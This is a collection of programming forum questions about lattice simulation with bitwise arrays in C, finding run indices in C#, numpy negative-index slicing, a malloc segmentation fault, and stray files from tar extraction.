  For my university process I'm simulating a process called random sequential adsorption. One of the things I have to do involves randomly depositing squares (which cannot overlap) onto a lattice until there is no more room left, repeating the process several times in order to find the average 'jamming' coverage %. Basically I'm performing operations on a large array of integers, of which 3 possible values exist: 0, 1 and 2. The sites marked with '0' are empty, the sites marked with '1' are full. Initially the array is defined like this: int i, j; int n = 1000000000; int array[n][n]; for(j = 0; j < n; j++) { for(i = 0; i < n; i++) { array[i][j] = 0; } } Say I want to deposit 5*5 squares randomly on the array (that cannot overlap), so that the squares are represented by '1's. This would be done by choosing the x and y coordinates randomly and then creating a 5*5 square of '1's with the topleft point of the square starting at that point. I would then mark sites near the square as '2's. These represent the sites that are unavailable since depositing a square at those sites would cause it to overlap an existing square. This process would continue until there is no more room left to deposit squares on the array (basically, no more '0's left on the array) Anyway, to the point. I would like to make this process as efficient as possible, by using bitwise operations. This would be easy if I didn't have to mark sites near the squares. I was wondering whether creating a 2-bit number would be possible, so that I can account for the sites marked with '2'. Sorry if this sounds really complicated, I just wanted to explain why I want to do this.

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• C# Finding 2 positions 1-dimArray

  - by Chris

  Hello, In a method i am calculating the longest row of elements. The 1-dim array is filled up with random values (0 or 1). The method looks up the longest row (being 0 or 1, whatever is the longest). Meaning in for example: 1110100 --> the longest row would be 3 (3 * 1) 0110000 --> the longest row would be 4 (4 * 0) My problem is i am trying to perform some type of linear search to show the position of the row in the array. The first example has the longest row of 3 elements (3 times 1). For 1110100 the position in the array would be 0 - 2 (index) For 0110000 the position in the array would be 3 - 6 (index) I have been trying with foreaches, for loops etc..but i cannot seem to get the proper indexes of both. Cannot seem to display both positions properly. For the first example the correct output wouldbe: The largest row of same elements of the array consists of 3 elements on the position 0 - 2. The longest row of elements gets of same elements get calculated as the following: public int BerekenDeelrij (int [] table) ( int count = 0; final int value = 0; int largest = 0; foreach (int value in table) ( if (value == last value) counter + +; else ( largest = Math.Max largest (largest, counter); final value = value count = 1; ) ) Math.Max return (largest, counter); ) Best Regards.

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• Python lists/arrays: disable negative indexing wrap-around

  - by wim

  While I find the negative number wraparound (i.e. A[-2] indexing the second-to-last element) extremely useful in many cases, there are often use cases I come across where it is more of an annoyance than helpful, and I find myself wishing for an alternate syntax to use when I would rather disable that particular behaviour. Here is a canned 2D example below, but I have had the same peeve a few times with other data structures and in other numbers of dimensions. import numpy as np A = np.random.randint(0, 2, (5, 10)) def foo(i, j, r=2): '''sum of neighbours within r steps of A[i,j]''' return A[i-r:i+r+1, j-r:j+r+1].sum() In the slice above I would rather that any negative number to the slice would be treated the same as None is, rather than wrapping to the other end of the array. Because of the wrapping, the otherwise nice implementation above gives incorrect results at boundary conditions and requires some sort of patch like: def ugly_foo(i, j, r=2): def thing(n): return None if n < 0 else n return A[thing(i-r):i+r+1, thing(j-r):j+r+1].sum() I have also tried zero-padding the array or list, but it is still inelegant (requires adjusting the lookup locations indices accordingly) and inefficient (requires copying the array). Am I missing some standard trick or elegant solution for slicing like this? I noticed that python and numpy already handle the case where you specify too large a number nicely - that is, if the index is greater than the shape of the array it behaves the same as if it were None.

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• c++ malloc segment fault

  - by chnet

  I have a problem about malloc(). It is wired. My code is in the following. I use random generator to generate elements for an array. The array is opened by malloc(). If the array size is smaller than 8192, it is OK. If the size is larger than 8192, it shows segment fault. void random_generator(int num, int * array) { srand((unsigned)time(0)); int random_integer; for(int index=0; index< num; index++){ random_integer = (rand()%10000)+1; *(array+index) = random_integer; cout << index << endl; } } int main() { int array_size = 10000; int *input_array; input_array = (int*) malloc((array_size)); random_generator(8192, input_array); // if the number is larger than 8192, segment fault free(input_array); }

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• What are these stray zero-byte files extracted from tarball? (OSX)

  - by Scott M

  I'm extracting a folder from a tarball, and I see these zero-byte files showing up in the result (where they are not in the source.) Setup (all on OS X): On machine one, I have a directory /My/Stuff/Goes/Here/ containing several hundred files. I build it like this tar -cZf mystuff.tgz /My/Stuff/Goes/Here/ On machine two, I scp the tgz file to my local directory, then unpack it. tar -xZf mystuff.tgz It creates ~scott/My/Stuff/Goes/, but then under Goes, I see two files: Here/ - a directory, Here.bGd - a zero byte file. The "Here.bGd" zero-byte file has a random 3-character suffix, mixed upper and lower-case characters. It has the same name as the lowest-level directory mentioned in the tar-creation command. It only appears at the lowest level directory named. Anybody know where these come from, and how I can adjust my tar creation to get rid of them? Update: I checked the table of contents on the files using tar tZvf: toc does not list the zero-byte files, so I'm leaning toward the suggestion that the uncompress machine is at fault. OS X is version 10.5.5 on the unzip machine (not sure how to check the filesystem type). Tar is GNU tar 1.15.1, and it came with the machine.

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